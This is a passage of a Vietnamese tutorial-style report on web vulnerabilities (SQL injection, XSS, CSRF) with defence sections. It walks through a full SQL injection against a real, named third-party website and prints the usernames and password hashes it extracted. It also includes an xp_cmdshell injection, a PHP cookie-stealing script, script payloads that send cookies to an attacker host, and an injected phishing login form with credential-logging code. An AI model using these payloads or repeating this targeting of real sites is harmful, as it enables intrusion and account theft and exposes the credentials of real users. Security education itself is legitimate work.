 Shared hosting scanner: Nó sẽ gửi yêu câu to sameip.org và sau đó phân
tích mã html cho các trang.
Hình 13. Kết quả Scan của Maxisploit Scanner
5. Một số lỗ hổng bảo mật Web Application
5.1 Lỗi SQL Injection
5.1.1 Khái niệm
Ứng dụng Web cho phép User truy cập Website hợp pháp để up và tải dữ liệu
ra / vào một cơ sở dữ liệu qua Internet bằng cách sử dụng trình duyệt web ưa
thích của họ. Cơ sở dữ liệu là trung tâm lưu trữ dữ liệu cần thiết cho các trang
web để cung cấp nội dung, thông tin cụ thể cho User và là cho thông tin cho
khách hàng, nhà cung cấp, nhân viên và một loạt các bên liên quan.
SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi
của hệ quản trị cơ sở dữ liệu trảvề để inject (tiêm vào) và thi hành các câu lệnh
SQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các
thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là
server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web
có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,
MySQL, Oracle, DB2, Sysbase. Công cụ dùng để tấn công là chỉ cần một trình
duyệt web bất kì, chẳng hạn như Internet Explorer, Mozila Firefox,
Chrome,.v..v..
Hình 14. Phương pháp luận của tấn công SQL Injection
5.1.2 Các dạng tấn công
Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ
vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật,
hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin
về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống
sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho
phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta
có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để
xử lý thông tin nhập vào từ phía người dùng
Dạng tấn công sử dụng câu lệnh Select
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang
tìm kiếm, các trang có textbox. Các trang này cho phép người dùng nhập vào các
thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp để tìm kiếm. Tương tự
như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường
tên tác giả bằng chuỗi giá trị, Lúc này, ngoài câu truy vấn đầu không thành công,
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Câu truy
vấn này sẽ thực hiện việc mà hacker mong muốn trong câu lệnh của họ.
Dạng tấn công sử dụng câu lệnh Insert
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để
tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng
có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi
hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào
Dạng tấn công sử dụng Stored-Procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào
dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện
lệnh liệt kê thư mục trên ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc
vào câu lệnh đằng sau cmd.exe.fg
Hình 15. Các dạng tấn công SQL Injection
5.1.3 Cách thức và phương pháp tấn công
a. Các con đường khai thác.
Qua User Input: User input điển hình thường đến từ các form nhập liệu,
form search hay link… Những dữ liệu này được web browser gửi đến server
thông qua phương thức HTTP GET hay POST và trở thành các tham số cho
ứng dụng web truy cập tới cơ sở dữ liệu
Qua Cookies: Cookies là những tệp tin lưu trữ thông tin trạng thái của
người dùng khi truy cập các ứng dụng web. Những thông tin này do người lập
trình quyết định, được tạo ra ở server và lưu trữ tại client. Khi người dùng truy
cập lại ứng dụng web, cookies được browser gửi lên server giúp phục hồi lại
những trạng thái của người dùng trong lần truy cập trước đó. Do được lưu trữ ở
client nên người dùng có thể chỉnh sửa tùy ý, vì vậy nếu ứng dụng web sử dụng
những thông tin lưu trong cookies để xây dựng các truy vấn tới cơ sở dữ liệu thì
hacker hoàn toàn có thể chèn vào cookies những script sql để thực hiện một
cuộc tấn công Sql Injection
Qua các biến Server
Biến server có thể là một khái niệm tương đối lạ lẫm nhưng nó không hề mới.
Một số ví dụ của biến server là Http header, Network header… Không phổ biến
lắm nhưng các giá trị được lưu trong biến server có thể được ứng dụng web sử
dụng như trong việc logging truy cập hay thống kê truy cập theo user agent…
Những công việc này đều có sự tương tác với cơ sở dữ liệu nên các hacker hoàn
toàn có thể sử dụng các biến server trong việc khai thác Sql Injection.
b. Kỹ thuật khai thác
Boolean Based và Time Based Blind SQL Injection
Boolean based: Cơ sở của kỹ thuật này là việc so sánh đúng sai để tìm ra từng
ký tự của những thông tin như tên bảng, tên cột… Do đó, với dải giá trị chữ số,
chữ cái (bao gồm cả hoa, thường) và một số ký tự đặc biệt, việc so khớp trở nên
rất khó khăn và đòi hỏi nhiều thời gian. Do đó việc khai thác lỗi chủ yếu được
tiến hành bằng tools. Trong kỹ thuật Blind SQL injection (BQLi), chúng ta
cũng có nhiều phương pháp khác nhau. Điểm khác biệt giữa các phương pháp
này là sự tối ưu thời gian. Khái niệm Time based: Giống như boolean based
attacks chỉ khác nhau về cách suy diễn
VD: id = 1 and ascii(mid((query), position, 1)) > ? --
Union Query Based
Đây là phương pháp phổ biến khi khai thác Sql Injection. Cơ sở của nó là sử
dụng từ khóa union để gộp các kết quả của các mệnh đề select, qua đó lấy được
thông tin từ cơ sở dữ liệu, cụ thể nó dùng để ghép nối các kết quả của hai hay
nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất.
VD: http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4 --
Batched Query
Đây là phương pháp áp dụng khả năng thực thi cùng lúc nhiều câu lệnh Sql của
một số hệ quản trị cơ sở dữ liệu và khả năng hỗ trợ của ngôn ngữ lập trình.
Phương pháp này rất mạnh mẽ và gây nguy hiểm ngay với hệ thống. Bằng cách
thêm vào một dòng lệnh Update, Insert hay Delete, dữ liệu trong cơ sở dữ liệu
của ứng dụng web không còn toàn vẹn nữa
VD: http://www.abslatin.co.uk/node.php?id=1 delete tablename, insert
column--
Order by Clause
Không giống như các phương pháp trên, nội dung inject nằm trong mệnh đề
điều kiện where. Trong phương pháp này, chúng ta sẽ cố gắng tiêm mã script
vào mệnh đề order
VD: http://www.abslatin.co.uk/node.php?id=1 order by 2--
Người lập trình muốn liệt kê sản phẩm của công ty bao gồm các thông tin: Mã
sản phẩm, Tên sản phẩm, Ngày tháng… và có chức năng cho phép người dùng
tùy chỉnh xem họ muốn sắp xếp theo thứ tự ngày tháng, theo tên hay mã của sản
phẩm.
VD: select id, name, price from product where id order by $varOrder
Trong trường hợp này chúng ta không thể thêm trực tiếp một mệnh đề sub
select thông qua từ khóa union như mọi khi được. Một cách khai thác đó là sử
dụng BATCHED QUERY, phương pháp này có thể Inject được một sub select
nhưng rõ ràng cách thực hiện này giờ đây phải kết hợp cả với kỹ thuật
BOOLEAN BASED BLIND SQLI
Hình 16. Các cách phát hiện tấn công SQl Injection
c. Cách thức tấn công
Sau đây xin giới thiệu cách tấn công SQL Injection qua phương pháp khai
thác lỗi Inband SQL
- Inband SQL là phương pháp dùng hàm Union để khai thác, Union là hàm liên
kết 2 truy vấn Select với nhau, cụ thể nó dùng để ghép nối các kết quả của hai
hay nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất.
Từ Version 5 trở đi MySQL có thêm 1 database hệ thống là
information_schema, các table hệ thống của nó là tables, columns 2 table này
chứa tên các table và column của Website trên hệ thống
- Inband SQL là lỗi cho phép hiện số column và tên từng column của các bảng,
từ đó khi biết được bảng rồi thì ta có thể lấy được các cột và thông tin trong cột
1 cách dễ dàng
- Đầu tiên tìm site bị lỗi SQL Injection, trang ở đây là
http://www.abslatin.co.uk
- Cách kiểm tra trang này bị lỗi SQL Injection, đầu tiên chạy
http://www.abslatin.co.uk/node.php?id=1
không thấy lỗi gì, tiếp theo thêm dấu ‘ sau số 1 là
http://www.abslatin.co.uk/node.php?id=1’ thấy báo
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''' at line 1
Như vậy đã thấy lỗi SQL Injection và có thề khai thác
- Tiếp theo tìm số cột của biểu đồ CSDL bằng cách chạy
http://www.abslatin.co.uk/node.php?id=1 order by 1--
Ở đây ta dùng dùng order by đế xác định cột, tăng giá trị lên 1 đơn vị như
http://www.abslatin.co.uk/node.php?id=1 order by 2--
đến khi nào thấy thông bào lỗi thì dừng lại. Thấy đến 5 là báo lỗi
Unknown column '5' in 'order clause' suy ra biểu đồ CSDL có 4 cột từ 1 đến
4.
- Chú ý ở đây chúng ta sử dụng dấu -- sau cùng đường link là đến loại bỏ những
phần sau câu truy vấn, trong phpmysql thì nó dùng để ghi những comment
- Tiếp theo ta tìm số cột trong biểu đồ CSDL bị lỗi ta chạy
http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,4--
Ở đây id nên để là Null như trên để kết quả câu truy vấn trả về là rỗng, đôi khi
mới có thể show được các column bị lỗi, ta thấy cột số 4 bị lỗi.
- Tiếp theo chạy
http://www.abslatin.co.uk/node.php?id=null union select 1,2,3,version()--
để lấy thông tin Version Database sẽ thấy báo 5.1.73-log.
- Tiếp theo chạy
http://www.abslatin.co.uk/node.php?id=5 union select 1,2,3,
group_concat(table_name) from information_schema.tables where
table_schema=database()--
để lấy danh sách bảng trong database thì thấy hiện ra các bảng sau
administrators, album, events, gallery, links, news, p_album, p_categories,
p_events, p_gallery, p_links, p_news,p_products, p_salsa, p_suscriptors,
p_users, p_videos, salsa, suscriptors, users, videos
- Tiếp theo chạy
http://www.abslatin.co.uk/node.php?id=5 uNion seleCt
1,2,3,group_concat(column_name) from information_schema.columns
where table_name=0x61646d696e6973747261746f7273--
đề lấy các cột trong bảng administrators, ở đây phải thực hiện phương pháp
bypass filter addslashes() nếu bạn chạy
http://www.abslatin.co.uk/node.php?id=5 uNion seleCt
1,2,3,group_concat(column_name) from information_schema.columns
where table_name=administrators--
là không được và sẽ báo lỗi
Unknown column 'administrators' in 'where clause'
Với phương pháp này ta sẽ convert tên administrators sang mã HEX sau đó
thêm 0x vào trước kết quả để được 0x61646d696e6973747261746f7273, kết
quả là ta đã thấy được có các cột id, user_name, user_password
Bạn cũng có thể xem thêm các cột của các bảng khác xem thêm cột của bảng
users như sau
http://www.abslatin.co.uk/node.php?id=5%20uNion%20seleCt%201,2,3,group
_concat%28column_name%29%20from%20information_schema.columns%20
where%20table_name=0x7573657273--
thì thấy có các cột IdUser,PasswordUser,NameUser
- Tiếp theo chạy
http://www.abslatin.co.uk/node.php?id=5 uNion seleCt
1,2,3,group_concat(id,0x2f,user_name,0x2f,user_password) from
administrators -- -
để lấy username và password của admin trong bảng administrators, ta thấy các
thông tin sau:
1/admin/$P$Bstga7byV42vvh7WVT/pPFPZw6j7ET.
2/annie/$P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0
3/paul/$P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB
Để xem thêm username và password của user trong bảng users ta chạy
http://www.abslatin.co.uk/node.php?id=5 uNion seleCt
1,2,3,group_concat(IdUser,0x2f,PasswordUser,0x2f,NameUser) from users-
-
thì thấy các thông tin sau
admin/0e4a20a448032584af3f285a2ad2d9d3/AMAUTA CONSULTORES
annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie
- Tiếp theo tìm trang dăng nhập của Admin bằng cách, thử thủ công như thêm
/admin, /admincp, /login, .v.v.v thử online hoặc dùng tool, với trang này ta chưa
tìm được trang login Admin. Có thể nó đã bị cấm hay ẩn.
- Ở đây ta thấy mật khẩu của user và admin trong bảng administrators đã được
mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước này ta nên thử
các trang decrypt md5 online hay thử crack bằng Kali Linux, nhưng kết qủa
cũng chưa được, nên thử lại hoặc tìm cách khác
- Một chú ý nữa là trong quá trình thực hiện các bạn có thấy trong câu truy vấn
có viết in hoa 1 số từ như uNion seLect, biện pháp này nhằm để bypass qua sự
kiểm tra.
- Khi 2 bước trên hoàn thành, bạn có thể, login vào trang Admin hay Login vào
Cơ sở dữ liệu, và thao tác trên đó
- Nhằm mục đích học tập, lấy kinh nghiệm và các phòng chống, khuyên các bạn
không nên có các hành vi và mục đích xấu.
5.1.4 Cách phòng chống và bảo mật
a. Sử dụng ràng buộc hay giới hạn tham số truy vấn, kiểu tham số, thủ tục khi
lưu trữ tham số (nên kết hợp với ràng buộc hay giới hạn tham số truy vấn)
- Hãy loại bỏ các kí tự meta như ‘ “ / ; và các kí tự extend như NULL, CR,
LF,..v..v..trong các string nhận được từ: input do người dùng đệ trình, các tham
số từ URL, các giá trị từ Cookies.
VD: "select * from table where columna=? and columnb=?"
- Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query
SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Cụ thể:
- Sử dụng những câu lệnh, tham số truy vấn đã qua chuẩn bị
- Thủ tục lưu trữ tham số
- Thoát khỏi tất cả các user cung cấp đầu vào
b. Set quyền cho các kết nối (Luôn luôn sử dụng tài khoản với đặc quyền tối
thiểu cần thiếtcho các ứng dụng trong, không nên sử dụng các từ "sa", "dba",
"admin", hoặc tương đương.)
- Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong
tab SQL Server Security
- Xóa các stored procedure trong database master mà không dùng như:
xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
Hình 17. Cách phòng chồng tấn công SQL Injection
Hình 18. Cách phòng chồng tấn công SQL Injection
5.2 Lỗi Cross Site Scripting (XSS)
5.2.1 Khái niệm
Cross-Site Scripting (XSS) là 1 dạng tấn công loại tiêm kích, trong đó các
script độc hại được tiêm, nhúng hay chèn vào các trang web khác đáng tin cậy mà
người dùng thường không để ý. Các cuộc tấn công XSS xảy ra khi một kẻ tấn
công sử dụng một ứng dụng web để gửi mã độc hại, thường ở dạng của một kịch
bản phía trình duyệt, cho một người dùng cuối khác nhau.
Trình duyệt của người dùng cuối không có cách nào để phát hiện kịch bản
không tin tưởng và đã được chèn mã độc đó, và sẽ thực thi kịch bản. Kịch bản
độc hại có thể truy cập bất kỳ tập tin cookie, session tokens, hoặc các thông tin
nhạy cảm khác được giữ lại bởi trình duyệt và sử dụng với trang web đó. Các
kịch bản thậm chí có thể ghi lại các nội dung của trang HTML. Khi người sử
dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt
được gửi về cho hacker qua email hoặc một file nào đó trên host đã được thiết lập
từ trước hoặc bị dẫn tới một trang fishing mà hacker đã thiết lập từ trước. Các
kịch bản này cũng có thể cài đặt tự động các chương trình virus, trojan, backdoor
trên máy victim tùy vào mệnh lệnh của hacker.
Hình 19. Quy trình tấn công XSS đơn giản
5.2.2 Các dạng tấn công
Nếu xét theo phương thức xử lý dữ liệu của Website thì có tấn công qua
phương thức GET và POST
Nếu xét theo nguyên nhân gây ra lỗi XSS nói chung thì có 2 dạng:
Server XSS
Tấn công Server XSS xảy ra khi người sử dụng không đáng tin cậy cung cấp
dữ liệu được bao gồm trong một phản hồi HTML được tạo ra bởi các máy chủ.
Nguồn dữ liệu này có thểlà từ yêu cầu, hoặc từ một địa điểm lưu trữ. Như vậy,
bạn có thể có cả hai Server XSS lưu trữ và máy phản hồi Reflected XSS Server.
Client XSS
Tấn công Client XSS xảy ra khi người sử dụng không đáng tin cậy cung cấp
dữ liệu được sử dụng để cập nhật các DOM (Document Object Model) với một
truy vấn JavaScript không an toàn. Một truy vấn JavaScript được coi là không an
toàn nếu nó có thể được sử dụng để giới thiệu các đoạn mã JavaScript hợp lệ vào
trong DOM. Nguồn này các dữ liệu này có thể là từ DOM, hoặc nó có thể đã
được gửi đi bởi các máy chủ (thông qua một cuộc gọi AJAX, hoặc tải trang).
Nguồn cuối cùng của dữ liệu có thể có được từ một yêu cầu, hoặc từ một vị trí
lưu trữ trên máy khách hoặc máy chủ. Như vậy, bạn có thể có cả hai máy phản
hồi XSS và máy lưu trữ Client XSS.
Chi tiết hơn của 2 dạng trên là:
Stored XSS thường xảy ra khi người dùng nhập dữ liệu vào được lưu trữ trên
máy chủ mục, và sau đó là một nạn nhân có thể lấy dữ liệu được lưu trữ từ các
ứng dụng web mà không cần qua phương pháp an toàn nào khi biểu diễn trên
trình duyệt. Cụ thể -Stored XSS là lỗi XSS mà đoạn mã chèn thêm vào được lưu
trữ trên server, như trong CSDL dưới dạng các comment trong blog, message
trong forum hoặc các visitor log. Khi người dùng vào trang này, thì lập tức các
script độc được thực thi, ở đây là sẽ tiến hành lấy trộm cookie của người dùng,
rồi lưu nó vào một file txt. Stored XSS phát sinh do chúng ta không lọc dữ liệu
do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào
Database của website
Reflected XSS xảy ra khi người dùng nhập vào và ngay lập tức quay trở lại
bởi một ứng dụng web trong đó có các thông báo lỗi, form kết quả tìm kiếm,
form tìm kiếm, hoặc bất kỳ hồi đáp nào khác bao gồm một số hoặc tất cả các đầu
vào được cung cấp bởi người sử dụng như một phần của yêu cầu, mà không dữ
liệu không cần qua phương pháp an toàn nào khi biểu diễn trên trình duyệt. Cụ
thể Kiểu tấn công này áp dụng đối với những form để nhập dữ liệu đầu vào, đặc
biệt là các form search. Từ khóa tìm kiếm mà ta nhập vào ô textbox của các
Website được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị
này, Hacker thể chèn thêm đoạn mã gây hại vào.
DOM XSS là kiểu khai thác XSS khác đi ngược lại với đặc điểm chung là các
đoạn mã nguy hiểm sau khi được chèn vào sẽ được thực thi sau respond của
server, có nghĩa là lỗi nằm về phía server còn ở đây mã độc được thực thi ngay
khi xử lý phía client mà không thông qua server DOM viết tắt của Document
Object Model là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ
liệu của tài liệu có cấu trúc như HTML, XML. Mô hình này thể hiện tài liệu dưới
dạng cấu trúc cây phân cấp. Tất cả các thành phần trong HTML, XML đều được
xem như một node. DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc
thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML và sự nguy hiểm của DOM-
Base XSS chính là với JavaScript.
Hình 20. Ví dụ tấn công XSS thông qua Email
Hình 21. Ví dụ tấn công XSS bằng ăn cắp Cookies
5.2.3 Cách thức và phương pháp tấn công
Hình 22 . Quy trình của tấn công XSS
Giải thích quy trình tấn công XSS
Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng
XSS. Người dùng nhận được 1 liên kết thông qua email hay trên chính trang
Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo
ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích
thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng
hấp dẫn đang chờ bạn”… Chuyển nội dung thông tin (cookie, tên, mật
khẩu…) về máy chủ của hacker. Hacker tạo một chương trình hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin. Sau khi
nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài
khoản của người dùng.
Kỹ thuật lấy Cookie
Bước 1: Tạo file đánh cắp cookie có tên là getcookie.php với nội dung
<?php
if(isset($_GET['cookie']))
{
$cookie = $_GET['cookie'];
// Mở file cookie.txt, tham số a nghĩa là file này mở chỉ để write chứ
không scan hay read
$f=fopen('cookie.txt','a');
// Ta write địa chỉ trang web mà ở trang đó bị ta chèn script.
fwrite($f,$_SERVER['HTTP_REFERER']);
// Ghi giá trị cookie
fwrite($f,". Cookie la: ".$cookie." n");
// Đóng file lại
fclose($f);
}
?>
File này có nhiệm vụ đánh cắp cookie của victim và ghi thông tin vào file
logs.txt
Bước 2: Up các file lên host của bạn
UP lên host 2 file getcookie.php và logs.txt. Trong đó file getcookie.php
có nội dung như trên và file logs.txt là file rỗng để lưu trữ toàn bộ thông tin
của victim được gửi về thông qua mệnh lệnh được đưa ra từ file
getcookie.php. Lưu ý, phải chmod file log.txt về 777
Bước 3: Khai thác lỗ hổng XSS
- Giả sử bạn up 2 file của bạn lên host của site http://tenwebsite thì đoạn mã
script ăn cắp cookies có dạng như sau
<script>
location.href
‘http://tenwebsite/getcookie.php?cookie=’+document.cookie;
</script>
- Chèn đọa mã vào site dính lỗi XSS là http://victim.com ta được link tươn tự
như sau
http://www.victim.com/index.php?search=
<script>
location.href =
‘http://tenwebsite/getcookie.php?cookie=’+document.cookie;
</script>
Trong nội dung comment ta sẽ viết một đoạn script và nên đặt cuối
comment để tránh bị phát hiện. Ở đây ta sử dụng một iframe có chiều cao và
chiều rộng bằng 0, border bằng 0, src của nó dẫn tới trang web của Hacker,
trang web này có tác dụng lấy cookie của người dùng nếu người dùng đã đăng
nhập
<script>
document.write("<iframe
src='http://tenwebsite/getcookie.php?cookie="+document.cookie+"'
height='0' width='0'
frameborder='0'></iframe>");
</script>
Kỹ thuật đánh cắp Anccount
Bước 1: Giả mạo trang đăng nhập để lấy thông tin tài khoản
http://www.victim.com/search.php?keyword=<center><br><br>
<form method=POST action=http://tenwebsite/xuli.php>
User:<input name=ten><br>
Password:<input name=mk>
<input type=submit value=Send>
</form><br>
Hacker sẽ chèn vào một form đăng nhập , action sẽ chuyển về trang web
xử lý của hacker. Khi nạn nhân thực hiện việc đăng nhập thì sẽ bị lấy thông
tin tài khoản
Bước 2: Hacker tại file xử lý thông tin xuly.php
$ten=$_POST['ten'];
$mk=$_POST['mk'];
$f=fopen("luu.txt","a");
fwrite($f,"Ten: $ten - mat khau: $mk n");
fclose($f);
?>
<script>
location.href="http://www.victim.com"
</script>
Sau khi lấy thông tin đăng nhập, Hacker sẽ lưu nó vào một file, sau đó
chuyển hướng về trang chủ. Tuy nhiên thay vì đánh tất cả vào đường link
search thì Hacker sẽ chuyển nó đến một file js. Trong file js này Hacker mới
tạo form đăng nhập. Mục đích của việc này để nạn nhân sẽ không nghi ngờ vì
sao đường link dài như vậy
http://www.victim.vn/search.php?keyword=<script
src=http://tenwebsite/xss/xss.js></script>
File XSS.js
document.body.innerHTML='<Center>Thông tin đăng nhập<BR>
<form action=http://tenwebsite/xss/xuly.php
method=POST><table><TR><TD>Tên đăng nhập:</TD>
<TD><input name=ten></TD></TR><TR><TD>Mật khẩu:</TD>
<TD><input name=mk type=password></TD>
</TR><TR><TD></TD>
<TD><input type=submit value=Login></TD>
</TR>
</table>
</form></center>
Bước 3: Up các file lên host của bạn và khai thác lỗ hổng XSS
5.2.4 Cách phòng chống và bảo mật
Tấn công Server XSS là do bao gồm dữ liệu không đáng tin cậy trong một
phản hồi HTML. Phòng thủ dễ nhất và mạnh nhất chống lại chủ XSS trong hầu
hết các trường hợp là mã hóa đầu ra phía máy chủ, xác nhận đầu vào hoặc dữ liệu
làm sạch cũng có thể được thực hiện để giúp ngăn chặn máy chủ XSS, nhưng nó
khó khăn hơn nhiều để có được chính xác hơn mã hóa đầu ra bối cảnh nhạy cảm.
Tấn công Client XSS xảy ra khi dữ liệu không đáng tin cậy được sử dụng để
cập nhật các DOM với một cuộc truy vấn JavaScript không an toàn, phòng thủ dễ
nhất và mạnh nhất chống lại Client XSS là sử dụng các API JavaScript an toàn.
Tuy nhiên , các nhà phát triển thường xuyên không biết API JavaScript đó có an
toàn hay không vì bao giờ cách thức hoạt động, phương pháp trong thư viện
JavaScript ưa thích của họ không biết có được an toàn hay không ? Nếu bạn biết
rằng một phương pháp JavaScript là không an toàn , đề nghị chính của chúng tôi
là tìm một phương pháp an toàn thay thế để sử dụng. Nếu bạn không thể thay nó
đối với một số lý do thí sau một hành vi nhạy cảm không an toàn bạn cần mã hóa
ngay đầu ra nếu có thể và thực hiện ngay trong trình duyệt, trước khi đi qua dữ
liệu với phương pháp JavaScript không an toàn.
Cụ thể ta có các phương pháp phòng chóng như sau:
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng
không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết
vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để
có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng
bạn nên
- Chỉ chấp nhận những dữ liệu hợp lệ.
- Từ chối nhận các dữ liệu hỏng.
- Liên tục kiểm tra và thanh lọc sữ liệu.
Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu
hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để
giải quyết. Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt
trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử
dụng. Trong trường hợp này thẻ.
Đi vào cụ thể
- Phương pháp đơn giản là chèn thêm token vào đường link thực hiện thao tác.
Giá trị token này phải mạnh, khó đoán, thường là hash của session ID của user
kết hợp với password, IP của user, thời điểm đăng nhập,…Mục đích của token là
làm cho hacker không thể xác định được chính xác đường link thực hiện thao tác
- Chèn thêm bước xác nhận trung gian trước khi thực hiện các thao tác nhạy
cảm: có thể là yêu cầu user nhập lại password để xác nhận thao tác của mình
trước khi thực hiện hoặc sử dụng captcha để xác nhận
- Sử dụng POST thay cho GET
5.3 Lỗi Cross-site Request Forgery (CSRF)
5.3.1 Khái niệm
CSRF là kĩ thuật tấn công bằng phương pháp sử dụng quyền chứng thực của
người dùng đối với một website, hacker có thể lợi dụng nó để thực thi những
request với quyền chứng thực của người dùng.
CSRF được thực hiện thành công khi nạn nhân đã thực hiện xác thực với một
Lợi dụng sự không chú ý của người dùng, hacker có thể gửi những đường link
mà trong đó chứa mã độc thông qua email, đính kèm trên trang web…Khi nạn
nhận click vào đường link hay mở email,.. thì những mã độc sẽ được thực thi
quyền xác thực của nạn nhận, gây hậu quả cho nạn nhân mà họ không thể biết lúc
click. Loại tấn công sử dụng kỹ thuật này thường dành cho người am hiểu về hệ
thống, có thể là người từng phát triển ứng dụng đó, hoặc một mã nguồn mở, hoặc
một mã nguồn nào đó đã được công khai code.
Hình 23. Quy trình tấn công CSRF
5.3.2 Các dạng tấn công
Tấn công qua phương thức GET và POST
5.3.3 Cách thức và phương pháp tấn công
a. Ngữ cảnh tấn công
- Cross-site request forgery (CSRF) đánh lừa nạn nhân load một page mà nó
có chứa những request độc hại. Sự Request độc hại này có ý nghĩa là những
request được thừa kế định danh và quyền hạn của nạn nhân nhằm mục đích
thực thi một số chức năng(function). Những chức năng(function) này được
nhân danh nạn nhân
- Ở một số Site, browsers có những request liên kết trực tiếp với site, như là
user’s session cookie, basic authen credentials, IP address, Windows domain
credentials, etc. Vì thế, nếu người dùng đã được xác thực ở tại một thời điểm
nhất định thì site sẽ không xác định hay phân biệt được đâu là request của
người dùng hợp lệ
- Ở một số trường hợp, CSRF có thể được lưu trữ (tồn tại) sẵn trong một số
trang website bị lỗi. Những lỗi đó được gọi là stored CSRF flaws. Nó có thể
tồn tại trong những thẻ <IMG> hay <IFRAME> trong một trang HTML hay
là một số kiểu tấn công cross-site scripting attack. Nếu tấn công CSRF là có
sẵn trong site thì tính nghiêm trọng được tăng them gấp nhiều lần
Hình 24. Cách thức tấn công chung của tấn công CSRF
b. Ví dụ tấn công theo phương thức GET.
Trong CSRF, hacker sẽ đợi người dùng kết nối và thực hiện xác thực với
một trang web mà họ tin tưởng (trusted server), và lừa người dùng click vào
những đường link độc hại có đính kém những mã độc vào. Khi người dùng
click vào những đường link độc thì những mã độc sẽ được thực thi trên
trusted server. Ở đây cách này nói lên hacker đã sử dụng email mà trong đó đính
kèm những đoạn script động hại đến nạn nhân, Khi nạn nhận đã xác thực với một
trang web và mở mail lên thì những đoạn script được đính kèm trong đó sẽ thực thi
trên máy nạn nhân.
Hình 25. Cách thức tấn công chung của tấn công CSRF
Bước 1: Attcker sẽ gửi đường link có chữa mã độc tới cho User. Đoạn mã
độc để thực hiện một hành vi xấu của Attacker, nó được chứa trong một file
HTML, và User sẽ không biết được có mã độc hay không trong file. Mã độc
thường là một đường link được giấu trong thẻ img, với thuộc tính width và
height của thẻ img đều là 0.
Bước 2: Sau khi Attacker gửi và “dụ” được User click vào được link, thì
trên máy của User sẽ thực hiện request theo yêu cầu trong đường link có mã
độc mà User không hề hay biết.
Bước 3: Khi User “bị gửi” yêu cầu trong link có mã độc đến Server thì
Server vẫn đáp ứng bình thường, vì User đã được Server cấp cho session để
thực hiện request. Và request chứa mã độc được thực hiện một cách hợp lệ
mà User không hề hay biết.
Biết ID của trường
Tạo link thực thi hành động
Gửi mail đến người dùng với Link đính kèm
Người dùng click vào link
Hành động được thực thi.
c. Ví dụ tấn công theo phương thức POST
Hình 26. Mô hình tấn công CSRF theo phương thức POST
Bước 1: Hacker chờ đợi nạn nhân xác thực với vunerability web application
Bước 2: Hacker dụ dỗ, dùng mọi biện khác nhau để đánh lừa nạn nhân khởi
tạo một request. Request này có chứa session id của nạn nhân (do đã được
xác thực), Hacker sửa đổi Request này theo mục đích của mình và chuyển
đến cho vunerability web application
